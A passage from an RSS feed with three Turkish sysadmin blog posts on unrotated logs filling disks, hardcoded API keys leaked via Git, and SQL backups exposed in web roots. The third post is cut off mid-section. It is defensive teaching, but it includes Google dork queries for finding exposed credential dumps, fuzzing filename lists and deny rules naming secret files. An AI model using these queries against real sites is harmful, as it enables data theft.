            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucuda-log-rotasyonunu-logrotate-ayarlamayi-unutmak/thumbnail" alt=""> Hastanelerde ve cerrahi merkezlerde en kritik hijyen protokollerinden biri tıbbi atık yönetimidir. Ameliyathanelerden çıkan biyolojik atıklar, kanlı gazlı bezler, drenaj sıvıları ve tek kullanımlık enjektörler özel sızdırmaz konteynerlerde toplanır ve her mesai bitiminde imha edilmek üzere merkezi tıbbi atık ünitesine tahliye edilir. Şimdi hastane yönetiminin "Nasılsa bodrum katındaki atık odamız çok geniş, taşarsa bakarız" diyerek bu tahliyeyi unuttuğunu düşünün. Aylar boyunca binlerce cerrahi operasyonun atığı o odaya yığılır. Sonunda atık torbaları tavana kadar ulaşır; kapıyı patlatır, havalandırma kanallarını tıkar, ameliyathane koridorlarına taşar ve oksijen santralinin elektrik panolarını kısa devre yaptırır. Hastanede steril ameliyathane kalmaz, elektrikler kesilir ve hastalar tahliye edilmek zorunda kalınır. Felaketin sebebi mikroplar veya cerrahi bir hata değil; basit bir çöp tahliye disiplinsizliğidir.</p>
<p>Linux sunucu altyapılarında <strong>logrotate</strong> yapılandırmasını unutmak ya da yeni kurulan bir servisin loglarını serbest bırakmak, tam olarak bu ameliyathane çöpünün kontrolsüzce taşmasıdır.</p>
<hr>
<h2>Sessiz Büyüyen Tümör: <code>/var/log/</code> Depremi</h2>
<p>Bir sunucu ayağa kaldırıldığında her servis (Nginx, Apache, PHP-FPM, Docker, PostgreSQL, Redis ve özel Node.js/Python betikleri) yaptığı her hareketi günlüğe kaydeder.</p>
<ul>
<li>Web sunucusuna gelen her HTTP isteği <code>access.log</code> dosyasına bir satır ekler.</li>
<li>Her hata, uyarı veya stack trace <code>error.log</code> dosyasına işlenir.</li>
</ul>
<p>Geliştirme aşamasında bu dosyalar birkaç yüz kilobayttır; kimse dönüp bakmaz. Ancak sistem canlıya (production) alındığında ve saniyede yüzlerce istek işlemeye başladığında bu dosyalar sessiz birer veri emicisine dönüşür:</p>
<pre><code>[Canlıya Çıkış - Gün 1]  : access.log -> 5 MB (Her şey harika)
[Hafta 4]               : access.log -> 4.2 GB
[Ay 3]                  : access.log -> 38.5 GB
[Gece 03:42 - Ay 6]     : access.log -> 98.9 GB (Disk Alanı: %100 DOLU!)
</code></pre>
<p>Ve o gece saat 03:42'de diskte kalan son 1 megabayt da tükendiğinde, sunucuda domino etkisiyle çalışan bir acil durum siren sesi başlar.</p>
<hr>
<h2>Diskin %100 Dolması Anında Ne Olur? İlk Kurban Kimdir?</h2>
<p>Birçok acemi yönetici diskin dolmasının sadece yeni logların yazılamamasıyla sonuçlanacağını zanneder. Oysa modern bir işletim sisteminde diskin tamamen dolması (<code>No space left on device</code>), sistemin hayati organlarının anında iflas etmesi demektir.</p>
<pre><code>                         ┌─────────────────────────┐
                         │   DİSK %100 DOLDU!      │
                         └───────────┬─────────────┘
                                     │
         ┌───────────────────────────┼───────────────────────────┐
         ▼                           ▼                           ▼
  [İLK KURBAN: MySQL]         [İKİNCİ KURBAN: SSH]       [ÜÇÜNCÜ KURBAN: Cron]
  - InnoDB Redo Log yazamaz   - /tmp/ veya /run doldu    - State dosyası yazamaz
  - Transaction açılamaz      - SSH oturumu açılamaz!    - Görevler donar
  - MySQL PANİK ATARAK        - "Session closed by       - Yedekler alınamaz
    SERVİSİ DURDURUR! ❌        remote host" ❌           
</code></pre>
<h3>1. İlk İnfaz: Veritabanı Sunucusu (MySQL / PostgreSQL)</h3>
<p>İlişkisel veritabanları ACID güvencesini sağlamak için her işlemden önce <strong>WAL (Write-Ahead Logging)</strong> veya InnoDB <strong>Redo Log</strong> yazar. Disk dolduğu an veritabanı motoru güvenli bir şekilde veri yazamayacağını anlar. Veri bütünlüğünün bozulmasını (corruption) engellemek için motor derhal kendini acil kapatmaya (emergency shutdown / panic) alır!<br>
<code>mysqld.service: Main process exited, code=killed, status=6/ABRT</code><br>
E-ticaret siteniz, API servisiniz ve mobil uygulamanız anında çöker.</p>
<h3>2. İkinci Kurban: SSH Girişleri Kilitlenir!</h3>
<p>Sunucu çöktüğünde mühendis terminale koşar: <code>ssh root@sunucu</code>.<br>
Ancak giriş yapılamaz! Neden? Çünkü Linux oturum açarken <code>/var/log/wtmp</code> veya <code>/run/utmp</code> dosyasına kayıt yazmak zorundadır, PAM modülü geçici dosya oluşturamaz. Sunucu "No space left on device" diyerek SSH oturumunuzu açıldığı milisaniyede yüzünüze kapatır! Mühendis sunucunun içine bile giremez.</p>
<hr>
<h2>Logrotate Mimarisi: Dijital Çöp Tahliyesi Nasıl Çalışır?</h2>
<p>Linux dağıtımlarında bu felaketi engellemek için yerleşik bir bekçi vardır: <strong>logrotate</strong>.<br>
Her gece <code>cron.daily</code> veya <code>systemd.timer</code> tarafından tetiklenen logrotate, belirlenen kurallara göre devasa logları parçalar, sıkıştırır (gzip) ve eskiyenleri imha eder.</p>
<p>Örnek bir Nginx logrotate dosyası (<code>/etc/logrotate.d/nginx</code>):</p>
<pre><code class="language-text">/var/log/nginx/*.log {
    daily                   # Günlük olarak döndür
    missingok               # Dosya yoksa hata verme
    rotate 14               # En fazla 14 günlük arşiv tut, eskileri sil
    compress                # Arşivleri gzip ile sıkıştır (%90 yer kazancı)
    delaycompress           # En son günün yedeğini hemen sıkıştırma (açık tut)
    notifempty              # Dosya boşsa döndürme
    create 0640 www-data adm# Yeni boş log dosyasını bu izinlerle oluştur
    sharedscripts
    postrotate
        # Nginx'e dosya tanıtıcısını (file descriptor) yeniden açması için sinyal ver!
        if [ -f /var/run/nginx.pid ]; then
            kill -USR1 `cat /var/run/nginx.pid`
        fi
    endscript
}
</code></pre>
<hr>
<h2>En Ölümcül Hata: Dosyayı <code>rm -f access.log</code> İle Silmek!</h2>
<p>Gece 04:00'te diski dolmuş sunucuya kurtarma konsolundan bir şekilde giren acemi sistem yöneticisi <code>df -h</code> yazar:<br>
<code>/dev/sda1   100G  100G     0 100% /</code></p>
<p>Hemen <code>/var/log/nginx/</code> dizinine gider, 80 GB'lık devasa <code>access.log</code> dosyasını görür ve zafer kazanmış bir komutan edasıyla komutu fırlatır:<br>
<code>rm -f access.log</code></p>
<p>Ardından tekrar <code>df -h</code> yazar. Bir de bakar ki disk <strong>HÂLÂ %100 DOLUDUR!</strong></p>
<p>Mühendis cinnet noktasına gelir: <em>"Dosyayı sildim ama boş yer açılmadı! Bu sunucu bozuldu!"</em></p>
<h3>Neden Boş Yer Açılmadı? (Unlinked File Descriptors)</h3>
<p>Linux dosya sisteminde (ext4 / XFS) bir dosya iki parçadan oluşur: Dizin tablosundaki isim (dentry) ve diskin bloklarını tutan <strong>inode</strong>.</p>
<p>Nginx çalışmaya devam ettiği sürece <code>access.log</code> dosyasını açık bir dosya tanıtıcısıyla (file descriptor) tutmaktadır. Siz <code>rm</code> komutu verdiğinizde sadece dizindeki ismi silersiniz. Ancak dosya bir süreç (Nginx worker) tarafından hala açık tutulduğu için Linux çekirdeği o 80 GB'lık fiziksel blokları diske iade etmez! Dosya "hayalet" (deleted but held open) olarak bellekte ve diskte yaşamayı sürdürür.</p>
<pre><code class="language-bash"># Hayalet dosyayı yakalama komutu:
lsof | grep deleted | grep log

# Çıktı:
# nginx   1420   www-data    4w   REG   8,1   85899345920   12458 /var/log/nginx/access.log (deleted)
</code></pre>
<h3>Doğru Acil Müdahale: Dosyayı Silmeyin, İçini Boşaltın (Truncate)!</h3>
<p>Canlıda açık olan bir log dosyasını anında sıfırlayıp disk alanını geri kazanmanın tek cerrahi yolu dosyayı silmek değil, <strong>içini kesmektir (truncate)</strong>:</p>
<pre><code class="language-bash"># Dosya tanıtıcısını bozmadan fiziksel blokları anında sıfırlar:
> /var/log/nginx/access.log
# Veya:
truncate -s 0 /var/log/nginx/access.log
</code></pre>
<p>Bu komut çalıştığı anda <code>df -h</code> çıktısında 80 GB boş alanın anında açıldığını görürsünüz! Ardından Nginx'e sinyal verilir (<code>kill -USR1</code>) veya servis yeniden başlatılır.</p>
<hr>
<h2>Önleyici Tıbbi Reçete: Sistemik Güvenceler</h2>
<p>Bir sunucunun loglar yüzünden komaya girmesini engellemek için üç katmanlı bir savunma hattı kurulmalıdır:</p>
<ol>
<li><strong>Özel Servisler İçin Mutlaka Logrotate Kuralı Ekleyin:</strong><br>
Node.js (PM2), Python (Gunicorn/Uvicorn), Go binary'leri gibi özel uygulamalarınızın loglarını <code>/etc/logrotate.d/uygulama</code> altına tanımlayın. Tanımsız bırakılan her log dosyası bir gün diski patlatacaktır.</li>
<li><strong>Kritik Dizinleri Bağımsız Bölümlere (Partition) Ayırın:</strong><br>
Üretim sunucularında <code>/var</code> ve <code>/var/log</code> dizinleri ana kök dizinden (<code>/</code>) ayrı disk bölümlerine bağlanmalıdır. Bu sayede loglar tamamen dolsa bile, işletim sisteminin kök dizini (<code>/</code>) ve <code>/tmp</code> dolmaz; SSH bağlantınız kesilmez, sistem yöneticisi dışarıda kalmaz.</li>
<li><strong>Diski İzleyen Nöbetçi Problar (Monitoring &#x26; Alerting):</strong><br>
Prometheus Node Exporter, Datadog veya basit bir Monit betiği ile disk doluluğu %80'e ulaştığında acil durum e-postası veya Slack/Telegram bildirimi gönderin. Kriz yaşanmadan 3 hafta önce haberiniz olsun.</li>
</ol>
<h2>Sonuç</h2>
<p>Tıbbi atıklarını düzenli tahliye etmeyen bir hastane steril kalamaz; log rotasyonunu yapılandırmayan bir Linux sunucusu da ayakta kalamaz.</p>
<p>Geliştiriciler log yazmayı çok sever; ancak sistem mühendisleri o logların nasıl ve ne zaman imha edileceğini planlamakla yükümlüdür. Sunucunuzun kendi hafızası altında boğulmasını istemiyorsanız; logrotate'i bir detay değil, sunucunuzun temel solunum filtresi olarak yapılandırın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>logrotate</category>
            <category>Linux</category>
            <category>SysAdmin</category>
            <category>Disk Space</category>
            <category>Nginx</category>
            <category>MySQL</category>
            <category>Kesinti</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucuda-log-rotasyonunu-logrotate-ayarlamayi-unutmak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Git Commit İçine Sert Kodlanmış (Hardcoded) DB Şifreleri ve API Key'ler]]></title>
            <link>http://localhost:3000/blog/post/git-commit-icine-sert-kodlanmis-hardcoded-db-sifreleri-ve-api-keyler</link>
            <guid>git-commit-icine-sert-kodlanmis-hardcoded-db-sifreleri-ve-api-keyler</guid>
            <pubDate>Wed, 21 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Veritabanı şifrelerini ve AWS/Stripe API anahtarlarını koda sert kodlayıp GitHub'a push'layan ve sabah 40 bin dolarlık kripto madenciliği faturasıyla uyanan yazılımcının ibretlik anatomisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/git-commit-icine-sert-kodlanmis-hardcoded-db-sifreleri-ve-api-keyler/thumbnail" alt=""> Hastanelerin acil servislerinde ve ameliyathanelerinde en sıkı kilit altında tutulan yer, kırmızı ve yeşil reçeteli narkotik ilaç dolaplarıdır. Fentanil, morfin ve petidin gibi yüksek bağımlılık ve suistimal potansiyeli taşıyan bu moleküller, çelik kasalarda, çift anahtarla, her kullanımda imza karşılığı ve güvenlik kameraları altında muhafaza edilir. Şimdi nöbetçi asistan hekimin veya hemşirenin, "Nöbette çok yoruluyoruz, her seferinde başhemşireden anahtar istemekle vakit kaybetmeyelim" diyerek kasanın anahtarını hastanenin ana giriş kapısındaki umumi duyuru panosuna astığını hayal edin. Üzerine de fosforlu kalemle şunu yazdığını düşünün: <em>"Kasa şifresi: 1907. Morfinler üçüncü raftadır, lütfen kullanan yerine koysun."</em> Aradan yarım saat geçmeden sokaktaki organize uyuşturucu çeteleri hastaneyi basar, tüm kasayı boşaltır ve hastane milyonlarca liralık hukuki ve adli bir felaketin ortasında kalır. Personelin savunması ise akıl almazdır: <em>"Ben sadece nöbetteki arkadaşlarım zorlanmasın diye panoya asmıştım!"</em></p>
<p>Yazılım dünyasında veritabanı şifrelerini, Stripe ödeme token'larını, SendGrid kimlik bilgilerini veya AWS kök API anahtarlarını (Access Key &#x26; Secret Key) kodun içine <strong>sert kodlayıp (hardcoded)</strong> ardından o repoyu GitHub'a <code>git push</code> ile fırlatmak, tam olarak bu narkotik dolabı anahtarını sokak panosuna asmaktır.</p>
<hr>
<h2>3 Dakikalık Av: GitHub Botlarının Otomasyonu</h2>
<p>Birçok genç geliştirici veya acemi mühendis şöyle düşünür:<br>
<em>"GitHub'a repoyu açık kaynak attım ama benim depomu kim ne yapsın? Dünyada yüz milyonlarca repo var, benim projemi kimse bulamaz."</em></p>
<p>Bu, internetin çalışma dinamiğini bilmeyenlerin düştüğü en saf yanılgıdır. Siber saldırganlar oturup GitHub'da elle arama yapmazlar. AWS, Google Cloud, Azure veya Stripe anahtarlarını avlamak için özel bot çiftlikleri (scrapers &#x26; crawlers) 7/24 çalışır:</p>
<pre><code>[Geliştirici Terminali] 
       │ git push origin main
       ▼
[GitHub Public Events API / Firehose]
       │ (Milisaniyeler İçinde Akışa Düşer)
       ▼
[Saldırganın Regex Botu]
Taranan Desen: AKIA[0-9A-Z]{16} (AWS Access Key ID Deseni)
       │
       ▼ (EŞLEŞME BULUNDU! Süre: 90 Saniye)
[Otomatik İstismar Script'i Tetiklendi]
       │
       ├─► AWS CLI ile giriş yap
       ├─► Mevcut kullanıcı yetkilerini kontrol et (IAM: FullAdmin)
       ├─► 8 Farklı Bölgede (Ohio, Frankfurt, Tokyo...)
       │   En pahalı GPU sunucularını ayağa kaldır (32x p3.16xlarge)
       └─► Monero / Bitcoin Kripto Madenciliği Başlatıldı!
</code></pre>
<p>Geliştirici kahvesini tazeleyip masasına döndüğünde (yaklaşık 10 dakika sonra), şirket adına açılmış 50 farklı GPU bulut sunucusu dünyanın öbür ucunda tam kapasite kripto para kazmaya başlamıştır bile.</p>
<hr>
<h2>Sabah 08:30 Uyanışı: 42.000 Dolarlık E-Posta Şoku</h2>
<p>Olay genellikle gece saat 01:00 civarında yaşanır. Geliştirici uyurken AWS faturalandırma motoru arka planda saymaya devam eder. Saatlik maliyeti onlarca dolar olan kurumsal GPU kümeleri sabaha kadar çalışır.</p>
<p>Sabah şirketin CTO'sunun veya finans direktörünün telefonuna AWS'den otomatik acil durum bildirimi düşer:<br>
<code>"AWS Alert: Your account charges have exceeded your budget threshold of $500. Current bill: $42,850.12"</code></p>
<p>Şirket merkezinde panik başlar:</p>
<ul>
<li>Finans müdürü bağırır: <em>"Şirketin 6 aylık AR-GE bütçesi bir gecede buharlaşmış!"</em></li>
<li>AWS konsoluna girilmeye çalışılır; saldırgan kendi yetkisini yükseltip yöneticinin şifresini ve MFA ayarlarını sıfırlamıştır!</li>
<li>AWS destek ekibine acil durum bileti açılır, hesap dondurulmaya çalışılır.</li>
</ul>
<p>Ve tüm bu yıkımın kaynağı araştırıldığında, gece atılan o son commit bulunur:</p>
<pre><code class="language-python"># config.py - Commit: "Ufak tefek düzeltmeler yapıldı"
AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE"
AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
DB_PASS = "Admin123!*Sirket2026"
</code></pre>
<hr>
<h2>"Commit'i Geri Aldım, Dosyayı Sildim!" Yanılgısı</h2>
<p>Geliştirici hatasını fark ettiğinde yaptığı ikinci vahim hata şudur:<br>
Koddaki şifreyi siler, yerine <code>""</code> koyar ve yeni bir commit atar:</p>
<pre><code class="language-bash">git add config.py
git commit -m "Güvenlik açığı kapatıldı, şifre silindi"
git push origin main
</code></pre>
<p>Mühendis rahat bir nefes alır: <em>"Tamam, dosyadan şifreyi sildim, artık kodda görünmüyor."</em></p>
<p>Hayır! <strong>Git bir dosya saklama aracı değil; bir ZAMAN MAKİNESİDİR.</strong><br>
Dosyadan şifreyi silmiş olmanız hiçbir şeyi değiştirmez. O şifre, bir önceki commit'in nesne ağacında (Git Tree Object) kıyamete kadar yaşamaya devam eder.</p>
<p>Saldırgan bot veya herhangi bir meraklı kullanıcı repodaki <code>Commits</code> sekmesine tıklar, o commit'in yeşil-kırmızı diff satırını açar ve kırmızıyla silinmiş olan API anahtarını kopyalayıp güle güle kullanır.</p>
<hr>
<h2>Masadaki Ceset: Git Geçmişinden Sır Temizlemek</h2>
<p>Eğer bir sır (secret) Git geçmişine bir kez kazındıysa, onu temizlemek son derece agresif bir cerrahi operasyon gerektirir.</p>
<h3>1. İLK VE EN ACİL ADIM: Anahtarı Anında İptal Edin (Revoke)!</h3>
<p>Geçmişi temizlemekle vakit kaybetmeyin! O anahtar saniyeler içinde binlerce botun veritabanına kaydedildi bile.</p>
<ul>
<li>AWS / Stripe / Google Cloud paneline girin.</li>
<li>O API Key'i derhal <strong>Revoke / Delete</strong> edin.</li>
<li>Veritabanı şifresini derhal değiştirin (<code>ALTER USER</code>).<br>
Anahtar iptal edilmediği sürece Git geçmişini temizlemek hiçbir işe yaramaz.</li>
</ul>
<h3>2. Git Geçmişini Kökten Yeniden Yazmak (BFG Repo-Cleaner)</h3>
<p>Eski <code>git filter-branch</code> komutu yavaş ve tehlikelidir. Modern yöntem <strong>BFG Repo-Cleaner</strong> veya <strong>git-filter-repo</strong> kullanmaktır:</p>
<pre><code class="language-bash"># Sırların yazılı olduğu bir passwords.txt oluşturun
# BFG ile tüm commit geçmişindeki bu metinleri ***REMOVED*** ile ezin:
bfg --replace-text passwords.txt my-repo.git

# Ardından yerel çöpü temizleyin ve tüm dallara zorla basın (Force Push):
git reflog expire --expire=now --all &#x26;&#x26; git gc --prune=now --aggressive
git push --force --all
</code></pre>
<p>Bu işlem repoyu kullanan diğer tüm ekip arkadaşlarının yerel kopyalarını (local branch) bozacaktır; ancak açıkta duran bir faturadan daha az maliyetlidir.</p>
<hr>
<h2>Kurumsal İmmünoloji: Sırlar Kodun İçine Nasıl Giremez?</h2>
<p>Bir yazılım ekibinde güvenlik mühendislerin hafızasına veya "dikkatine" bırakılamaz. Süreç araçlarla kilitlenmelidir:</p>
<pre><code>[Yazılımcı Kodu Yazar]
         │
         ▼
[Pre-commit Hook: Git-Secrets / TruffleHog / Gitleaks]
         │ 
         ├──► Sır Tespit Edildi! ──► COMMIT ENGELLENDİ! ❌
         │    ("AWS Key tespit edildi, lütfen .env kullanın!")
         │
         ▼ (Temiz)
[Yerel Commit Başarılı]
         │
         ▼
[GitHub / GitLab CI Pipeline: Secret Scanning]
         │ (Son Kontrol Bariyeri)
         ▼
[Canlı Ortam: HashiCorp Vault / AWS Secrets Manager / Doppler]
</code></pre>
<ol>
<li><strong>Ortam Değişkenleri (.env) ve .gitignore Disiplini:</strong><br>
Her projenin kökünde <code>.gitignore</code> dosyası yer almalı ve <code>.env</code>, <code>*.pem</code>, <code>*.key</code> dosyaları projeye ilk başlandığı saniye bu dosyaya eklenmelidir.</li>
<li><strong>Yerel Pre-Commit Kancaları (Pre-commit Hooks):</strong><br>
Ekipteki her bilgisayara <code>gitleaks</code> veya <code>git-secrets</code> kurulmalıdır. Geliştirici terminalde <code>git commit</code> yazdığı anda bu araçlar kodda regex taraması yapar; bir API anahtarı veya şifre yakalarsa commit'i işletim sistemi düzeyinde reddeder.</li>
<li><strong>GitHub Push Protection ve Secret Scanning:</strong><br>
GitHub'ın kurumsal depolar için sunduğu "Secret Scanning with Push Protection" özelliği aktif edilmelidir. GitHub, bilinen servis sağlayıcılarının anahtarlarını algıladığı anda <code>push</code> işlemini sunucu tarafında bloke eder.</li>
<li><strong>Merkezi Gizli Bilgi Yöneticileri (Secrets Managers):</strong><br>
Modern bulut mimarisinde şifreler <code>.env</code> dosyalarında bile tutulmaz. Uygulama ayağa kalkarken IAM rolüyle AWS Secrets Manager'a veya HashiCorp Vault'a kimlik doğrular, hafızaya şifreyi çeker ve diske hiçbir iz bırakmaz.</li>
</ol>
<h2>Sonuç</h2>
<p>Narkotik dolabının anahtarını panoya asıp "Ama ben iyi niyetliydim" diyemezsiniz. İnternet, iyi niyetin değil; acımasız algoritmaların ve saniyeler içinde zafiyetleri paraya çeviren otomasyonların dünyasıdır.</p>
<p>Koda sert kodlanmış her şifre, altına imza attığınız boş bir açık çektir; o çeki kimin tahsil edeceğini ise sadece şansınız belirler. Sırlarınızı koda değil ortama emanet edin; mimarinizi botların insafına bırakmayın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Git</category>
            <category>Güvenlik</category>
            <category>API Key</category>
            <category>AWS</category>
            <category>Hardcoded Secrets</category>
            <category>DevOps</category>
            <category>Yazılım Kültürü</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/git-commit-icine-sert-kodlanmis-hardcoded-db-sifreleri-ve-api-keyler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Veritabanı Yedeğini Sitede .sql Olarak Bırakmak ve 'Dork' Avcıları]]></title>
            <link>http://localhost:3000/blog/post/veritabani-yedegini-sitede-sql-olarak-birakmak-ve-dork-avcilari</link>
            <guid>veritabani-yedegini-sitede-sql-olarak-birakmak-ve-dork-avcilari</guid>
            <pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Web kök dizininde unutulan yedek.sql, dump.sql ve db.tar.gz dosyalarının Google Dork ve otomatik tarayıcılar tarafından saniyeler içinde indirilmesiyle patlayan KVKK felaketleri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/veritabani-yedegini-sitede-sql-olarak-birakmak-ve-dork-avcilari/thumbnail" alt=""> Hastanelerin arşiv odalarında saklanan hasta epikriz dosyaları, kan tahlilleri, psikiyatrik seans notları ve adli vaka tutanakları en yüksek gizlilik derecesine sahip mahrem belgelerdir. Kanun gereği bu evraklar kilitli çelik dolaplarda tutulur. Şimdi hastane arşiv memurunun, "Dosyaları diğer binaya taşıyacağım, servis aracı gelene kadar burada dursun" diyerek 50.000 hastanın tüm tıbbi geçmişini içeren yüzlerce klasörü hastanenin ana caddeye bakan açık kaldırımına yığdığını hayal edin. Üstüne de herkesin göreceği şekilde büyük bir karton koyup <em>"Hastanemizin 2026 Yılı Tüm Hasta Kayıtları Yedeği"</em> yazdığını düşünün. Caddeden geçen magazinciler, sigorta dolandırıcıları ve meraklı kalabalıklar klasörleri poşetlerine doldururken memur içeride çay içmektedir. Yaşanan şey bir hırsızlık değil; mahremiyetin kamusal alana bizzat yetkili eliyle saçılmasıdır.</p>
<p>Türkiye'deki web geliştiricilerinin ve sistem yöneticilerinin önemli bir kısmının <code>mysqldump</code> veya phpMyAdmin ile aldığı veritabanı yedeğini doğrudan <code>public_html</code>, <code>www</code> veya <code>htdocs</code> dizininin içine <code>yedek.sql</code>, <code>dump.sql</code> veya <code>db_2026.sql</code> adıyla kaydetmesi ve orada unutması, kaldırıma hasta dosyası yığmaktan farksızdır.</p>
<hr>
<h2>"Kimse Bu URL'yi Tahmin Edemez" Yanılgısı</h2>
<p>Geliştirici sunucuya SSH veya cPanel Dosya Yöneticisi üzerinden bağlanır. Sitede büyük bir güncelleme yapacaktır:</p>
<pre><code class="language-bash"># Geliştiricinin masumane komutu:
cd /var/www/vhosts/sirket.com/public_html
mysqldump -u root -p sirket_db > yedek.sql
</code></pre>
<p>Geliştirici kendi kendine düşünür: <em>"Ben bunu buraya geçici koydum. 1 saat sonra sileceğim. Zaten sitemde bunun linki yok, Google nereden bilecek? Kimse <code>sirket.com/yedek.sql</code> yazmayı akıl edemez."</em></p>
<p>Bu düşünce zinciri, web güvenliği tarihindeki en büyük yanılsamalardan biridir. Çünkü internette gezen botlar linkleri tıklayarak ilerlemez; dizinleri sözlük saldırısıyla (dictionary brute-force) tarar ve arama motorlarının dizinleme robotlarını kullanır.</p>
<hr>
<h2>Google Dorking: İnternetin Açıkta Duran Röntgen Cihazı</h2>
<p>Arama motorları (Google, Bing, Yandex, DuckDuckGo) internetteki tüm web sunucularını durmaksızın tarar. Eğer web sunucunuzda dizin listeleme (Directory Listing / <code>Options +Indexes</code>) açıksa veya dosya adı başka bir yerde geçtiyse; arama motoru bu dosyayı indeksine katar.</p>
<p>Saldırganlar ise Google'ın gelişmiş arama operatörlerini (<strong>Google Dorks</strong>) kullanarak saniyeler içinde binlerce açıkta duran veritabanı yedeğini ekrana döker:</p>
<pre><code class="language-text"># Saldırganın Google'a yazdığı basit bir sorgu:
filetype:sql inurl:backup OR inurl:dump OR inurl:yedek "INSERT INTO"
filetype:sql "wp_users" "user_pass"
site:*.com.tr filetype:sql intext:password
</code></pre>
<p>Google bu sorguya karşılık, Türkiye'deki e-ticaret sitelerinin, hukuk bürolarının, hastanelerin ve belediyelerin web sunucularında açıkta unutulmuş binlerce <code>.sql</code> dosyasını doğrudan tıklanabilir indirme bağlantısı olarak listeler!</p>
<pre><code>                  ┌──────────────────────┐
                  │  Saldırgan / Dorker  │
                  └──────────┬───────────┘
                             │ Google: filetype:sql inurl:yedek
                             ▼
                    [GOOGLE ARAMA MOTORU]
                             │
     ┌───────────────────────┼───────────────────────┐
     ▼                       ▼                       ▼
https://firmaA.com/yedek.sql https://klinikB.com/db.sql https://ajansC.com/2026.sql
     │                       │                       │
     ▼ (Tek Tıkla İndir)     ▼ (Tek Tıkla İndir)     ▼ (Tek Tıkla İndir)
[Tüm Müşteri Listesi]   [Hasta Epikrizleri]     [Kullanıcı Şifreleri]
[Banka Bilgileri]       [Kredi Kartı Logları]   [Admin Token'ları]
</code></pre>
<p>Saldırganın tek yapması gereken "İndir" butonuna basmaktır. Tek bir güvenlik duvarını aşmamış, tek bir exploit çalıştırmamış, tek bir şifre kırmamıştır. Kapıyı ardına kadar bizzat geliştirici açmıştır.</p>
<hr>
<h2>Sadece Google Değil: Otomatik Fuzzing ve Wordlist Botları</h2>
<p>Eğer dosyanız Google tarafından indekslenmemiş olsa bile güvende değilsinizdir.</p>
<p>Saldırganlar her gün milyonlarca domaini otomatik <strong>Fuzzing</strong> araçlarıyla (FFUF, Dirsearch, Gobuster) tarar. Bu araçların elinde en yaygın kullanılan dosya isimlerinin bulunduğu devasa sözlükler vardır:</p>
<ul>
<li><code>yedek.sql</code>, <code>backup.sql</code>, <code>data.sql</code>, <code>database.sql</code></li>
<li><code>db.sql</code>, <code>dump.sql</code>, <code>sql.sql</code>, <code>1.sql</code></li>
<li><code>sirket.sql</code>, <code>sirket_yedek.sql</code>, <code>2026.sql</code>, <code>eski.sql</code></li>
<li><code>backup.tar.gz</code>, <code>site.zip</code>, <code>public_html.rar</code></li>
</ul>
<p>Web sunucunuza saniyede 100 istek atarak bu isimleri denerler. Biri <code>200 OK</code> yanıtı verdiği an dosya otomatik olarak saldırganın sunucusuna indirilir. İndirme bittiğinde içindeki e-posta ve şifre hash'leri otomatik olarak ayrıştırılıp Dark Web forumlarına (RaidForums / BreachForums) satışa konur.</p>
<hr>
<h2>İfşa Olan Bir <code>.sql</code> Dosyasının Anatomisi</h2>
<p>Bir veritabanı yedeğinin indirilmesi, şirketin dijital kıyafetlerinin tamamen çıkarılması demektir. Metin editörüyle açılan o <code>.sql</code> dosyasının içinde şunlar yer alır:</p>
<ol>
<li><strong>Kullanıcı Şifreleri (Hash'ler):</strong><br>
<code>INSERT INTO users VALUES (1, 'admin', '$2y$10$e8...', 'admin@sirket.com')</code>. Hashcat veya John the Ripper ile zayıf şifreler dakikalar içinde kırılır.</li>
<li><strong>Kişisel Veriler (KVKK İhlali):</strong><br>
Müşterilerin adları, soyadları, T.C. kimlik numaraları, ev adresleri, cep telefonları, sipariş geçmişleri.</li>
<li><strong>Gizli Uygulama Ayarları:</strong><br>
SMTP mail şifreleri, SMS API anahtarları, sanal POS mağaza anahtarları ve gizli tuz (salt) değerleri.</li>
</ol>
<p>Ertesi gün şirketin tüm müşterilerine "Firma veritabanı hacklendi, fidye ödenmezse verileriniz yayınlanacak" mesajları gitmeye başlar.</p>
<hr>
<h2>Klinik Tedavi ve Cerrahi Koruma Protokolü</h2>
<p>Web sunucusunda veri sızıntılarını engellemek üç basit ama tavizsiz kurala bağlıdır:</p>
<h3>1. Web Kök Dizinini Asla Depolama Alanı Olarak Kullanmayın!</h3>
<p>Veritabanı yedekleri, loglar, arşivler veya geçici dosyalar ASLA <code>public_html</code> veya <code>www</code> dizini altında tutulamaz!<br>
Yedek alınacaksa, web sunucusunun HTTP üzerinden erişemeyeceği bir üst dizinde (<code>/home/kullanici/backups/</code>) tutulmalıdır:</p>
<pre><code class="language-bash"># Hatalı:
mysqldump -u user -p db > /var/www/html/yedek.sql

# Doğru: Web kökünün tamamen dışında, izole dizin!
mysqldump -u user -p db > /var/backups/db_$(date +%F).sql
chmod 600 /var/backups/db_*.sql
</code></pre>
<hr>
<h3>2. Web Sunucusunda Hassas Uzantıları Kesin Olarak Yasaklayın!</h3>
<p>Geliştiricilerin insan olduğunu ve hata yapabileceğini kabul edin. Mimariniz, geliştirici yanlış yere dosya koysa bile o dosyanın web'den indirilmesine izin vermemelidir!</p>
<h4>Nginx İçin Savunma Kalkanı:</h4>
<pre><code class="language-nginx"># .sql, .bak, .zip, .tar, .env gibi tehlikeli uzantıları anında 403 ile engelle!
location ~* \.(sql|bak|backup|config|env|log|tar|gz|zip|rar|git)$ {
    deny all;
    return 404;
}
</code></pre>
<h4>Apache (<code>.htaccess</code>) İçin Savunma Kalkanı:</h4>
<pre><code class="language-apache">&#x3C;FilesMatch "\.(sql|bak|backup|env|log|zip|tar\.gz)$">
    Order allow,deny
    Deny from all
&#x3C;/FilesMatch>

# Dizin listelemeyi mutlaka kapatın!
Options -Indexes
</code></pre>
